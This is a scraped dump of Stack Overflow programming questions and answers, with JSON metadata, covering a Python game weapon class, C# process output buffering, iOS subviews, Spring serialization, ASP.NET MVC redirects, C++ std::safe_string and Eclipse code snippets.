It feels like what you really want is a class representing the weapon, with attributes to handle the base values and calculate hit values with various modifiers. Here's a simple example: ``` SHORT_RANGE = 'S' MEDIUM_RANGE = 'M' LONG_RANGE = 'L' SHORT_RANGE_MODIFIER = 0.6 MEDIUM_RANGE_MODIFIER = 0.3 LONG_RANGE_MODIFIER = 0.1 class Weapon(object): def __init__(self, code_name, full_name, base_hit_value, short_range_modifier=None, medium_range_modifier=None, long_range_modifier=None): self.code_name, self.full_name = code_name, full_name self.base_hit_value = base_hit_value self.range_modifiers = { SHORT_RANGE: short_range_modifier or SHORT_RANGE_MODIFIER, MEDIUM_RANGE: medium_range_modifier or MEDIUM_RANGE_MODIFIER, LONG_RANGE: long_range_modifier or LONG_RANGE_MODIFIER, } def hit_value(self, range, modifier=1): return self.base_hit_value * self.range_modifiers[range] * modifier ``` From there, you might create instances of Weapon inside your Character object like so: ``` self.rifle = Weapon('CRM', 'rifle', 5) self.pistol = Weapon('PST', 'pistol', 10) ``` And then if, say, the character fires the pistol at short range: ``` hit_value = self.pistol.hit_value(SHORT_RANGE) ``` The extra argument to the hit\_value() method can be used to pass in character- or situation-specific modifications. Of course, the next step beyond this would be to directly model the weapons as subclasses of Weapon (perhaps breaking down into specific types of weapons, like guns, bows, grenades, etc., each with their own base values) and add an Inventory class to represent the weapons a character is carrying. All of this is pretty standard, boring object-oriented design procedure, but for plenty of situations this type of thinking will get you off the ground quickly and provide at least a little bit of basic flexibility.
237,914
<p>Ok, I am trying to use Tail to monitor a log file, but I cannot get the same behavior programatically as when I manually run it through cmd prompt using the same parameters.</p> <p>When run through cmd prompt it displays the new lines <strong>instantly</strong>. Programatically though, I have to wait for about <strong>75+ new lines</strong> in log file before the 'buffer' unleashes all the lines.</p> <p>Here's the code I have now.</p> <pre><code>private const string tailExecutable = @&quot;C:\tail.exe&quot;; private const string logFile = @&quot;C:\test.log&quot;; private static void ReadStdOut() { var psi = new ProcessStartInfo { FileName = tailExecutable, Arguments = String.Format(&quot;-f \&quot;{0}\&quot;&quot;, logFile), UseShellExecute = false, RedirectStandardOutput = true }; // Running same exe -args through cmd.exe // works perfectly, but not programmatically. Console.WriteLine(&quot;{0} {1}&quot;, psi.FileName, psi.Arguments); var tail = new Process(); tail.StartInfo = psi; tail.OutputDataReceived += tail_OutputDataReceived; tail.Start(); tail.BeginOutputReadLine(); } static void tail_OutputDataReceived(object sender, DataReceivedEventArgs e) { Console.WriteLine(e.Data); } </code></pre> <p>I have used the OutputDataReceived event before but never had these buffering/spamming problems.</p> <p>I am so confused with about right now.</p> <h2>* <strong>Edit</strong> *</h2> <p>I found <a href="http://www.codeproject.com/KB/cs/wintail.aspx" rel="nofollow noreferrer">this wintail project on CodeProject</a> and am going to be switching to that because the buffer makes this solution way too slow.</p> <p>Thanks for the answers.</p>
[ { "answer_id": 237956, "author": "tovare", "author_id": 12677, "author_profile": "https://Stackoverflow.com/users/12677", "pm_score": 1, "selected": false, "text": "<p>In most languages and operating systems the standard stream is usually buffered, but the error stream is not.</p>\n\n<p>Try using:\n<code>\n System.Console.Error\n</code></p>\n" }, { "answer_id": 237958, "author": "Alan", "author_id": 31223, "author_profile": "https://Stackoverflow.com/users/31223", "pm_score": 3, "selected": true, "text": "<p>Process.StandardOutput, when redirected, defaults to a StreamReader with a 4096-byte buffer, so the answer is yes.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237914", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1147/" ]
Ok, I am trying to use Tail to monitor a log file, but I cannot get the same behavior programatically as when I manually run it through cmd prompt using the same parameters. When run through cmd prompt it displays the new lines **instantly**. Programatically though, I have to wait for about **75+ new lines** in log file before the 'buffer' unleashes all the lines. Here's the code I have now. ``` private const string tailExecutable = @"C:\tail.exe"; private const string logFile = @"C:\test.log"; private static void ReadStdOut() { var psi = new ProcessStartInfo { FileName = tailExecutable, Arguments = String.Format("-f \"{0}\"", logFile), UseShellExecute = false, RedirectStandardOutput = true }; // Running same exe -args through cmd.exe // works perfectly, but not programmatically. Console.WriteLine("{0} {1}", psi.FileName, psi.Arguments); var tail = new Process(); tail.StartInfo = psi; tail.OutputDataReceived += tail_OutputDataReceived; tail.Start(); tail.BeginOutputReadLine(); } static void tail_OutputDataReceived(object sender, DataReceivedEventArgs e) { Console.WriteLine(e.Data); } ``` I have used the OutputDataReceived event before but never had these buffering/spamming problems. I am so confused with about right now. \* **Edit** \* -------------- I found [this wintail project on CodeProject](http://www.codeproject.com/KB/cs/wintail.aspx) and am going to be switching to that because the buffer makes this solution way too slow. Thanks for the answers.
Process.StandardOutput, when redirected, defaults to a StreamReader with a 4096-byte buffer, so the answer is yes.
237,921
<p>I have a tabview controller to which I added a UIViewController to each tab. I want to have multiple UIViews inside the UIViewController.</p> <p>So in the implementation of the UIViewController class I added [self.view addSubView:uiview1] and [self.view addSubView:uiview2]. The problem is that when I run the app, it crahes on load.</p> <p>However, if I only used a single UIView and did: self.view = UIView1 that would work fine.</p> <p>Does anyone know what is causing the problem? Or if I'm doing something fundamentally wrong?</p>
[ { "answer_id": 237973, "author": "Ben Gottlieb", "author_id": 6694, "author_profile": "https://Stackoverflow.com/users/6694", "pm_score": 1, "selected": false, "text": "<p>There's no reason you can't have multiple views within your UIViewController's main view member variable. However, there are quite a few items left unanswered in your question:</p>\n\n<ul>\n<li>How are you obtaining view1 and view2? </li>\n<li>Are they outlets in your XIB file (are you using a XIB file, or creating everything in code), or are you creating them in code? </li>\n<li>Where in your UIViewController subclass are you adding them to your view member variable?</li>\n<li>What's the message printed to the console when it crashes?</li>\n</ul>\n" }, { "answer_id": 238269, "author": "Mike McMaster", "author_id": 544, "author_profile": "https://Stackoverflow.com/users/544", "pm_score": 3, "selected": true, "text": "<p>Assuming you are doing this programmatically, you're supposed to create the view in the view controller's loadView method. So you must do this:</p>\n\n<pre><code>self.view = [[[UIView alloc] initWithFrame:someFrame] autorelease];\n</code></pre>\n\n<p>before you do this:</p>\n\n<pre><code>[self.view addSubview:uiview1];\n[self.view addSubview:uiview2];\n</code></pre>\n\n<p>Otherwise, self.view would be nil.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237921", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23695/" ]
I have a tabview controller to which I added a UIViewController to each tab. I want to have multiple UIViews inside the UIViewController. So in the implementation of the UIViewController class I added [self.view addSubView:uiview1] and [self.view addSubView:uiview2]. The problem is that when I run the app, it crahes on load. However, if I only used a single UIView and did: self.view = UIView1 that would work fine. Does anyone know what is causing the problem? Or if I'm doing something fundamentally wrong?
Assuming you are doing this programmatically, you're supposed to create the view in the view controller's loadView method. So you must do this: ``` self.view = [[[UIView alloc] initWithFrame:someFrame] autorelease]; ``` before you do this: ``` [self.view addSubview:uiview1]; [self.view addSubview:uiview2]; ``` Otherwise, self.view would be nil.
237,966
<p>The framework I am developing for my application relies very heavily on dynamically generated domain objects. I recently started using Spring WebFlow and now need to be able to serialize my domain objects that will be kept in flow scope. </p> <p>I have done a bit of research and figured out that I can use <code>writeReplace()</code> and <code>readResolve()</code>. The only catch is that I need to look-up a factory in the Spring context. I tried to use <code>@Configurable(preConstruction = true)</code> in conjunction with the BeanFactoryAware marker interface. </p> <p>But <code>beanFactory</code> is always <code>null</code> when I try to use it in my <code>createEntity()</code> method. Neither the default constructor nor the <code>setBeanFactory()</code> injector are called.</p> <p>Has anybody tried this or something similar? I have included relevant class below.</p> <p>Thanks in advance, Brian</p> <pre><code>/* * Copyright 2008 Brian Thomas Matthews Limited. * All rights reserved, worldwide. * * This software and all information contained herein is the property of * Brian Thomas Matthews Limited. Any dissemination, disclosure, use, or * reproduction of this material for any reason inconsistent with the * express purpose for which it has been disclosed is strictly forbidden. */ package com.btmatthews.dmf.domain.impl.cglib; import java.io.InvalidObjectException; import java.io.ObjectStreamException; import java.io.Serializable; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import org.apache.commons.beanutils.PropertyUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.BeanFactoryAware; import org.springframework.beans.factory.annotation.Configurable; import org.springframework.util.StringUtils; import com.btmatthews.dmf.domain.IEntity; import com.btmatthews.dmf.domain.IEntityFactory; import com.btmatthews.dmf.domain.IEntityID; import com.btmatthews.dmf.spring.IEntityDefinitionBean; /** * This class represents the serialized form of a domain object implemented * using CGLib. The readResolve() method recreates the actual domain object * after it has been deserialized into Serializable. You must define * &amp;lt;spring-configured/&amp;gt; in the application context. * * @param &lt;S&gt; * The interface that defines the properties of the base domain * object. * @param &lt;T&gt; * The interface that defines the properties of the derived domain * object. * @author &lt;a href="mailto:[email protected]"&gt;Brian Matthews&lt;/a&gt; * @version 1.0 */ @Configurable(preConstruction = true) public final class SerializedCGLibEntity&lt;S extends IEntity&lt;S&gt;, T extends S&gt; implements Serializable, BeanFactoryAware { /** * Used for logging. */ private static final Logger LOG = LoggerFactory .getLogger(SerializedCGLibEntity.class); /** * The serialization version number. */ private static final long serialVersionUID = 3830830321957878319L; /** * The application context. Note this is not serialized. */ private transient BeanFactory beanFactory; /** * The domain object name. */ private String entityName; /** * The domain object identifier. */ private IEntityID&lt;S&gt; entityId; /** * The domain object version number. */ private long entityVersion; /** * The attributes of the domain object. */ private HashMap&lt;?, ?&gt; entityAttributes; /** * The default constructor. */ public SerializedCGLibEntity() { SerializedCGLibEntity.LOG .debug("Initializing with default constructor"); } /** * Initialise with the attributes to be serialised. * * @param name * The entity name. * @param id * The domain object identifier. * @param version * The entity version. * @param attributes * The entity attributes. */ public SerializedCGLibEntity(final String name, final IEntityID&lt;S&gt; id, final long version, final HashMap&lt;?, ?&gt; attributes) { SerializedCGLibEntity.LOG .debug("Initializing with parameterized constructor"); this.entityName = name; this.entityId = id; this.entityVersion = version; this.entityAttributes = attributes; } /** * Inject the bean factory. * * @param factory * The bean factory. */ public void setBeanFactory(final BeanFactory factory) { SerializedCGLibEntity.LOG.debug("Injected bean factory"); this.beanFactory = factory; } /** * Called after deserialisation. The corresponding entity factory is * retrieved from the bean application context and BeanUtils methods are * used to initialise the object. * * @return The initialised domain object. * @throws ObjectStreamException * If there was a problem creating or initialising the domain * object. */ public Object readResolve() throws ObjectStreamException { SerializedCGLibEntity.LOG.debug("Transforming deserialized object"); final T entity = this.createEntity(); entity.setId(this.entityId); try { PropertyUtils.setSimpleProperty(entity, "version", this.entityVersion); for (Map.Entry&lt;?, ?&gt; entry : this.entityAttributes.entrySet()) { PropertyUtils.setSimpleProperty(entity, entry.getKey() .toString(), entry.getValue()); } } catch (IllegalAccessException e) { throw new InvalidObjectException(e.getMessage()); } catch (InvocationTargetException e) { throw new InvalidObjectException(e.getMessage()); } catch (NoSuchMethodException e) { throw new InvalidObjectException(e.getMessage()); } return entity; } /** * Lookup the entity factory in the application context and create an * instance of the entity. The entity factory is located by getting the * entity definition bean and using the factory registered with it or * getting the entity factory. The name used for the definition bean lookup * is ${entityName}Definition while ${entityName} is used for the factory * lookup. * * @return The domain object instance. * @throws ObjectStreamException * If the entity definition bean or entity factory were not * available. */ @SuppressWarnings("unchecked") private T createEntity() throws ObjectStreamException { SerializedCGLibEntity.LOG.debug("Getting domain object factory"); // Try to use the entity definition bean final IEntityDefinitionBean&lt;S, T&gt; entityDefinition = (IEntityDefinitionBean&lt;S, T&gt;)this.beanFactory .getBean(StringUtils.uncapitalize(this.entityName) + "Definition", IEntityDefinitionBean.class); if (entityDefinition != null) { final IEntityFactory&lt;S, T&gt; entityFactory = entityDefinition .getFactory(); if (entityFactory != null) { SerializedCGLibEntity.LOG .debug("Domain object factory obtained via enity definition bean"); return entityFactory.create(); } } // Try to use the entity factory final IEntityFactory&lt;S, T&gt; entityFactory = (IEntityFactory&lt;S, T&gt;)this.beanFactory .getBean(StringUtils.uncapitalize(this.entityName) + "Factory", IEntityFactory.class); if (entityFactory != null) { SerializedCGLibEntity.LOG .debug("Domain object factory obtained via direct look-up"); return entityFactory.create(); } // Neither worked! SerializedCGLibEntity.LOG.warn("Cannot find domain object factory"); throw new InvalidObjectException( "No entity definition or factory found for " + this.entityName); } } </code></pre>
[ { "answer_id": 238581, "author": "Miguel Ping", "author_id": 22992, "author_profile": "https://Stackoverflow.com/users/22992", "pm_score": 1, "selected": false, "text": "<p>Are you using spring's <code>ApplicationContext</code>, or <code>BeanFactory</code>? If you are using <code>ApplicationContext</code>, you can implement ApplicationContextAware instead and spring will supply you with the application context. I've never used spring's <code>BeanFactory</code> before but I have used <code>ApplicationContext</code> and it works.</p>\n" }, { "answer_id": 500568, "author": "krumpi", "author_id": 61162, "author_profile": "https://Stackoverflow.com/users/61162", "pm_score": 0, "selected": false, "text": "<p>Are you sure that your Configurable class has been properly weaved wither by compiling it with the ApsectJ compiler or with runtime weaving.</p>\n\n<p>You also need to specify the attributes in you configuration file marking the bean as prototype. Something along the lines of:</p>\n\n<p><code>&lt;aop:spring-configured /&gt;</code><br/>\n<code>&lt;bean class=\"package.name.SerializedCGLibEntity\" scope=\"prototype\"&gt;</code><br/>\n<code>&lt;property name=\"beanFactory\" value=\"whateverValue\"/&gt;</code><br/>\n<code>&lt;/bean&gt;</code></p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237966", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1969/" ]
The framework I am developing for my application relies very heavily on dynamically generated domain objects. I recently started using Spring WebFlow and now need to be able to serialize my domain objects that will be kept in flow scope. I have done a bit of research and figured out that I can use `writeReplace()` and `readResolve()`. The only catch is that I need to look-up a factory in the Spring context. I tried to use `@Configurable(preConstruction = true)` in conjunction with the BeanFactoryAware marker interface. But `beanFactory` is always `null` when I try to use it in my `createEntity()` method. Neither the default constructor nor the `setBeanFactory()` injector are called. Has anybody tried this or something similar? I have included relevant class below. Thanks in advance, Brian ``` /* * Copyright 2008 Brian Thomas Matthews Limited. * All rights reserved, worldwide. * * This software and all information contained herein is the property of * Brian Thomas Matthews Limited. Any dissemination, disclosure, use, or * reproduction of this material for any reason inconsistent with the * express purpose for which it has been disclosed is strictly forbidden. */ package com.btmatthews.dmf.domain.impl.cglib; import java.io.InvalidObjectException; import java.io.ObjectStreamException; import java.io.Serializable; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import org.apache.commons.beanutils.PropertyUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.BeanFactoryAware; import org.springframework.beans.factory.annotation.Configurable; import org.springframework.util.StringUtils; import com.btmatthews.dmf.domain.IEntity; import com.btmatthews.dmf.domain.IEntityFactory; import com.btmatthews.dmf.domain.IEntityID; import com.btmatthews.dmf.spring.IEntityDefinitionBean; /** * This class represents the serialized form of a domain object implemented * using CGLib. The readResolve() method recreates the actual domain object * after it has been deserialized into Serializable. You must define * &lt;spring-configured/&gt; in the application context. * * @param <S> * The interface that defines the properties of the base domain * object. * @param <T> * The interface that defines the properties of the derived domain * object. * @author <a href="mailto:[email protected]">Brian Matthews</a> * @version 1.0 */ @Configurable(preConstruction = true) public final class SerializedCGLibEntity<S extends IEntity<S>, T extends S> implements Serializable, BeanFactoryAware { /** * Used for logging. */ private static final Logger LOG = LoggerFactory .getLogger(SerializedCGLibEntity.class); /** * The serialization version number. */ private static final long serialVersionUID = 3830830321957878319L; /** * The application context. Note this is not serialized. */ private transient BeanFactory beanFactory; /** * The domain object name. */ private String entityName; /** * The domain object identifier. */ private IEntityID<S> entityId; /** * The domain object version number. */ private long entityVersion; /** * The attributes of the domain object. */ private HashMap<?, ?> entityAttributes; /** * The default constructor. */ public SerializedCGLibEntity() { SerializedCGLibEntity.LOG .debug("Initializing with default constructor"); } /** * Initialise with the attributes to be serialised. * * @param name * The entity name. * @param id * The domain object identifier. * @param version * The entity version. * @param attributes * The entity attributes. */ public SerializedCGLibEntity(final String name, final IEntityID<S> id, final long version, final HashMap<?, ?> attributes) { SerializedCGLibEntity.LOG .debug("Initializing with parameterized constructor"); this.entityName = name; this.entityId = id; this.entityVersion = version; this.entityAttributes = attributes; } /** * Inject the bean factory. * * @param factory * The bean factory. */ public void setBeanFactory(final BeanFactory factory) { SerializedCGLibEntity.LOG.debug("Injected bean factory"); this.beanFactory = factory; } /** * Called after deserialisation. The corresponding entity factory is * retrieved from the bean application context and BeanUtils methods are * used to initialise the object. * * @return The initialised domain object. * @throws ObjectStreamException * If there was a problem creating or initialising the domain * object. */ public Object readResolve() throws ObjectStreamException { SerializedCGLibEntity.LOG.debug("Transforming deserialized object"); final T entity = this.createEntity(); entity.setId(this.entityId); try { PropertyUtils.setSimpleProperty(entity, "version", this.entityVersion); for (Map.Entry<?, ?> entry : this.entityAttributes.entrySet()) { PropertyUtils.setSimpleProperty(entity, entry.getKey() .toString(), entry.getValue()); } } catch (IllegalAccessException e) { throw new InvalidObjectException(e.getMessage()); } catch (InvocationTargetException e) { throw new InvalidObjectException(e.getMessage()); } catch (NoSuchMethodException e) { throw new InvalidObjectException(e.getMessage()); } return entity; } /** * Lookup the entity factory in the application context and create an * instance of the entity. The entity factory is located by getting the * entity definition bean and using the factory registered with it or * getting the entity factory. The name used for the definition bean lookup * is ${entityName}Definition while ${entityName} is used for the factory * lookup. * * @return The domain object instance. * @throws ObjectStreamException * If the entity definition bean or entity factory were not * available. */ @SuppressWarnings("unchecked") private T createEntity() throws ObjectStreamException { SerializedCGLibEntity.LOG.debug("Getting domain object factory"); // Try to use the entity definition bean final IEntityDefinitionBean<S, T> entityDefinition = (IEntityDefinitionBean<S, T>)this.beanFactory .getBean(StringUtils.uncapitalize(this.entityName) + "Definition", IEntityDefinitionBean.class); if (entityDefinition != null) { final IEntityFactory<S, T> entityFactory = entityDefinition .getFactory(); if (entityFactory != null) { SerializedCGLibEntity.LOG .debug("Domain object factory obtained via enity definition bean"); return entityFactory.create(); } } // Try to use the entity factory final IEntityFactory<S, T> entityFactory = (IEntityFactory<S, T>)this.beanFactory .getBean(StringUtils.uncapitalize(this.entityName) + "Factory", IEntityFactory.class); if (entityFactory != null) { SerializedCGLibEntity.LOG .debug("Domain object factory obtained via direct look-up"); return entityFactory.create(); } // Neither worked! SerializedCGLibEntity.LOG.warn("Cannot find domain object factory"); throw new InvalidObjectException( "No entity definition or factory found for " + this.entityName); } } ```
Are you using spring's `ApplicationContext`, or `BeanFactory`? If you are using `ApplicationContext`, you can implement ApplicationContextAware instead and spring will supply you with the application context. I've never used spring's `BeanFactory` before but I have used `ApplicationContext` and it works.
237,977
<p>This is probably one of those easy questions.. I'm trying to redirect the user after they've successfully authenticated, or return them back to the login page. But the Success page is on a different route and I can't get the redirection to work..</p> <p>Here are my routes in Globals.asax:</p> <pre><code>routes.MapRoute( _ "Default", _ "{controller}/{action}/{id}", _ New With {.controller = "Login", .action = "Index", .id = ""} _ ) routes.MapRoute( _ "Stuff", _ "{controller}/{action}/{id}", _ New With {.controller = "Stuff", .action = "Index", .id = ""} _ ) </code></pre> <p>I've got 2 Controllers: <code>LoginController.vb</code> and <code>StuffController.vb</code>. The <code>Views/Login/Index.aspx</code> file contains a simple form with the code:</p> <pre><code>&lt;form method="post" action="/Login/Authenticate"&gt; </code></pre> <p>The <code>LoginController</code> contains the following code:</p> <pre><code>Function Authenticate() As RedirectToRouteResult ' authentication code commented out ;o) Return RedirectToRoute("Stuff") End Function </code></pre> <p>And the StuffController contains the following:</p> <pre><code>Function Index() ' show stuff.. Return View() ' return /Views/Stuff/Index.aspx End Function </code></pre> <p>Here's what I've tried so far:</p> <ul> <li>Function Authenticate()</li> <li>Function Authenticate() As ActionResult()</li> <li>Function Authenticate() As RedirectToRouteResult()</li> </ul> <p>all of which cause a Redirect Loop timeout in the browser. What am I missing?!</p>
[ { "answer_id": 237984, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 0, "selected": false, "text": "<p>I fail to see where you are setting the authentication cookie or marking the user as having been authenticated in any way. Is that in the code that you have omitted?</p>\n" }, { "answer_id": 237991, "author": "liggett78", "author_id": 19762, "author_profile": "https://Stackoverflow.com/users/19762", "pm_score": 4, "selected": true, "text": "<p>Could it be that your Stuff route has exactly the same form as the default one, so when you call</p>\n\n<pre><code>Return RedirectToRoute(\"Stuff\");\n</code></pre>\n\n<p>the resulting url has the form: {controller}/{action}/{id}, e.g. Login/Authenticate again, since you are inside Login-controller's Authenticate action.</p>\n\n<p>Try to</p>\n\n<pre><code>RedirectToAction(\"Index\", \"Stuff\");\n</code></pre>\n\n<p>Hope that helps.</p>\n" }, { "answer_id": 393672, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>try</p>\n\n<pre><code>routes.MapRoute( _ \n\"Stuff\", _\n\"\",_ \nNew With {.controller = \"Stuff\", .action = \"Index\", .id = \"\"} _ \n)\n</code></pre>\n" }, { "answer_id": 4302543, "author": "Tengiz", "author_id": 523720, "author_profile": "https://Stackoverflow.com/users/523720", "pm_score": 4, "selected": false, "text": "<p>Correct answer is good, but:</p>\n\n<ul>\n<li>what if you ever want to change the controller/action name from Staff/Index to something else? </li>\n</ul>\n\n<p>-then you will need to change the values not only in global.asax, but also in all the places where you used the technique.</p>\n\n<p>My suggestion:</p>\n\n<pre><code>return RedirectToRoute(\"Stuff\", (RouteTable.Routes[\"Stuff\"] as Route).Defaults);\n</code></pre>\n\n<p>Now, in this case, you don't pass the names of controller/action which is Stuff/Index accordingly. This will let you manage changes easily.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237977", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5662/" ]
This is probably one of those easy questions.. I'm trying to redirect the user after they've successfully authenticated, or return them back to the login page. But the Success page is on a different route and I can't get the redirection to work.. Here are my routes in Globals.asax: ``` routes.MapRoute( _ "Default", _ "{controller}/{action}/{id}", _ New With {.controller = "Login", .action = "Index", .id = ""} _ ) routes.MapRoute( _ "Stuff", _ "{controller}/{action}/{id}", _ New With {.controller = "Stuff", .action = "Index", .id = ""} _ ) ``` I've got 2 Controllers: `LoginController.vb` and `StuffController.vb`. The `Views/Login/Index.aspx` file contains a simple form with the code: ``` <form method="post" action="/Login/Authenticate"> ``` The `LoginController` contains the following code: ``` Function Authenticate() As RedirectToRouteResult ' authentication code commented out ;o) Return RedirectToRoute("Stuff") End Function ``` And the StuffController contains the following: ``` Function Index() ' show stuff.. Return View() ' return /Views/Stuff/Index.aspx End Function ``` Here's what I've tried so far: * Function Authenticate() * Function Authenticate() As ActionResult() * Function Authenticate() As RedirectToRouteResult() all of which cause a Redirect Loop timeout in the browser. What am I missing?!
Could it be that your Stuff route has exactly the same form as the default one, so when you call ``` Return RedirectToRoute("Stuff"); ``` the resulting url has the form: {controller}/{action}/{id}, e.g. Login/Authenticate again, since you are inside Login-controller's Authenticate action. Try to ``` RedirectToAction("Index", "Stuff"); ``` Hope that helps.
237,978
<p>An <a href="https://stackoverflow.com/questions/61278/quick-and-dirty-way-to-profile-your-code#231614">answer to one of my questions</a> included the following line of code:</p> <pre><code>label = std::safe_string(name); // label is a std::string </code></pre> <p>The intent seems to be a wrapper around a string literal (so presumably no allocation takes place). I've never heard of <code>safe_string</code> and neither, apparently, has <a href="http://www.google.com/search?q=%22std%3A%3Asafe_string%22" rel="nofollow noreferrer">google</a> (nor could I find it in the 98 standard). </p> <p>Does anyone know what this is about?</p>
[ { "answer_id": 237996, "author": "Nemanja Trifunovic", "author_id": 8899, "author_profile": "https://Stackoverflow.com/users/8899", "pm_score": 2, "selected": false, "text": "<p>There is no such thing as <code>std::safe_string</code></p>\n" }, { "answer_id": 238017, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>There is no standard safe_string. The safe_string you're seeing in that answerer's response is from what looks like a private STL extensions utility library.</p>\n\n<p><a href=\"http://www.google.com/search?q=stlext%2Fstringext.h\" rel=\"nofollow noreferrer\">Google for \"stlext/stringext.h\"</a> and you'll see the same library referenced in a post on another forum.</p>\n" }, { "answer_id": 238032, "author": "Motti", "author_id": 3848, "author_profile": "https://Stackoverflow.com/users/3848", "pm_score": 4, "selected": true, "text": "<p>After searching <a href=\"http://www.google.com/codesearch\" rel=\"nofollow noreferrer\">google code search</a> (I should have thought of this first...) I found this:</p>\n\n<pre><code>//tools-cgi.cpp\nstring safe_string (const char * s)\n{\n return (s != NULL) ? s : \"\";\n}\n</code></pre>\n\n<p>Which converts <code>NULL</code>s to zero length strings. Although this is not standard it's probably some sort of extension in a specific STL implementation which was referred to in the answer.</p>\n" }, { "answer_id": 238103, "author": "paercebal", "author_id": 14089, "author_profile": "https://Stackoverflow.com/users/14089", "pm_score": 0, "selected": false, "text": "<p>It is not part of C++ standard (but perhaps it should be?)</p>\n\n<p>I have been using the same kind of helper function to avoid a std::string throw an exception with a NULL char * string. But it was more something like:</p>\n\n<pre><code>// defined somewhere else as \"\"\nextern const char * const g_strEmptyString ;\n\ninline const char * safe_string(const char * p)\n{\n return (p) ? (p) : (g_strEmptyString) ;\n}\n</code></pre>\n\n<p>No overhead, and no crash of a std::string when I feed it a char * string that could be NULL but that, in that particular case, should behave as an empty string.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/237978", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3848/" ]
An [answer to one of my questions](https://stackoverflow.com/questions/61278/quick-and-dirty-way-to-profile-your-code#231614) included the following line of code: ``` label = std::safe_string(name); // label is a std::string ``` The intent seems to be a wrapper around a string literal (so presumably no allocation takes place). I've never heard of `safe_string` and neither, apparently, has [google](http://www.google.com/search?q=%22std%3A%3Asafe_string%22) (nor could I find it in the 98 standard). Does anyone know what this is about?
After searching [google code search](http://www.google.com/codesearch) (I should have thought of this first...) I found this: ``` //tools-cgi.cpp string safe_string (const char * s) { return (s != NULL) ? s : ""; } ``` Which converts `NULL`s to zero length strings. Although this is not standard it's probably some sort of extension in a specific STL implementation which was referred to in the answer.
237,987
<p>I'm a recent semi-convert to Eclipse after 20 years of using vi and gvim. One of the things I miss about gvim is that I could cut a bunch of different snippets of code into named buffers, and paste them at will when doing something like repeating a common idiom. For instance I'd have it so <code>"ap</code> would paste</p> <pre><code>DatabaseHandle handle = null; try { handle = DatabaseConnectionPool.newHandle(); </code></pre> <p>and then <code>"bp</code> would paste</p> <pre><code> handle.commit(); } finally { handle.rollback(); DatabaseConnectionPool.returnHandle(handle); } </code></pre> <p>And I could repeat both of them over and over in the course of a day. In an answer to another question, somebody mentioned that you could "manage code snippets" in Eclipse, but didn't mention how. So now I'm asking: how do you manage code snippets in Eclipse? </p>
[ { "answer_id": 238042, "author": "VonC", "author_id": 6309, "author_profile": "https://Stackoverflow.com/users/6309", "pm_score": 7, "selected": true, "text": "<p>You might want to store those two snippets into a <a href=\"http://waynebeaton.wordpress.com/2006/02/27/code-template-expansion-in-eclipse/\" rel=\"noreferrer\">code template</a>, as explained in <a href=\"http://web.archive.org/web/20140208040332/http://www.java-tips.org/other-api-tips/eclipse/how-to-add-your-own-code-template-in-eclipse.html\" rel=\"noreferrer\">this tutorial</a>.</p>\n\n<p>And do not forget about the possibility to quickly execute any kind of java code snippets in a <a href=\"http://www.eclipsezone.com/eclipse/forums/t61137.html\" rel=\"noreferrer\">scrapbook</a> (not exactly what you want, but it can come in handy at times)</p>\n\n<p><a href=\"https://stackoverflow.com/users/25812/newtopian\">Newtopian</a> adds (in the comments)</p>\n\n<blockquote>\n <p>In fact templates become much more powerful by adding variables and tabstops within, so your example above would become <strong><code>dbHandle ctrl+space</code></strong>. It would copy snippets from both parts and place your cursor right in the middle.</p>\n</blockquote>\n" }, { "answer_id": 3793797, "author": "David Bruchmann", "author_id": 458141, "author_profile": "https://Stackoverflow.com/users/458141", "pm_score": 2, "selected": false, "text": "<p>The question is old but the link of the answere is older ;)</p>\n\n<p>Here is a nice tutorial:\n<a href=\"http://www.dansshorts.com/post/creating-snippets-in-eclipse\" rel=\"nofollow\">http://www.dansshorts.com/post/creating-snippets-in-eclipse</a></p>\n" }, { "answer_id": 6321694, "author": "David Easley", "author_id": 65555, "author_profile": "https://Stackoverflow.com/users/65555", "pm_score": 5, "selected": false, "text": "<p>Eclipse also offers something very similar to the templates feature described by VonC called (would you believe) snippets. Window > Show view > Snippets.</p>\n\n<p>To add a new snippet category: Right click in the Snippets window and click Customize...\nClick New > New Category. Enter a category name if necessary (e.g. \"Java\"). Click Apply. \nWith your chosen category selected, click New > New Item. Enter your snippet.</p>\n\n<p>To use a snippet, put the cursor where you want to insert the snippet, then double click on a snippet in the Snippets window.</p>\n" }, { "answer_id": 7446475, "author": "jamesTheProgrammer", "author_id": 945157, "author_profile": "https://Stackoverflow.com/users/945157", "pm_score": 1, "selected": false, "text": "<p>I have used snippets in some IDEs, like Dreamweaver and Homesite, an old Coldfusion IDE. I also use a lot of snippets in MySQL Workbench - where i type a lot of SQL, very handy there. </p>\n\n<p>I am now using <strong>Eclipse Java EE IDE for Web Developers Version Indigo Release</strong> and found the snippets panel in <strong>Window|Show View|Other...|General|Snippets</strong>. I was able to manipulate it and figure out how to add the code I wanted as snippets and how to use it efficiently.</p>\n" }, { "answer_id": 13278586, "author": "Naveen Bhagwati", "author_id": 1807471, "author_profile": "https://Stackoverflow.com/users/1807471", "pm_score": 3, "selected": false, "text": "<p>I ran into the <a href=\"http://marketplace.eclipse.org/node/478177\">Snip2Code</a> plugin recently.\nIt did the job, and I can collect and search snippets in a quick way.</p>\n" }, { "answer_id": 33485143, "author": "Sauvik Dolui", "author_id": 2659493, "author_profile": "https://Stackoverflow.com/users/2659493", "pm_score": 3, "selected": false, "text": "<p>Well 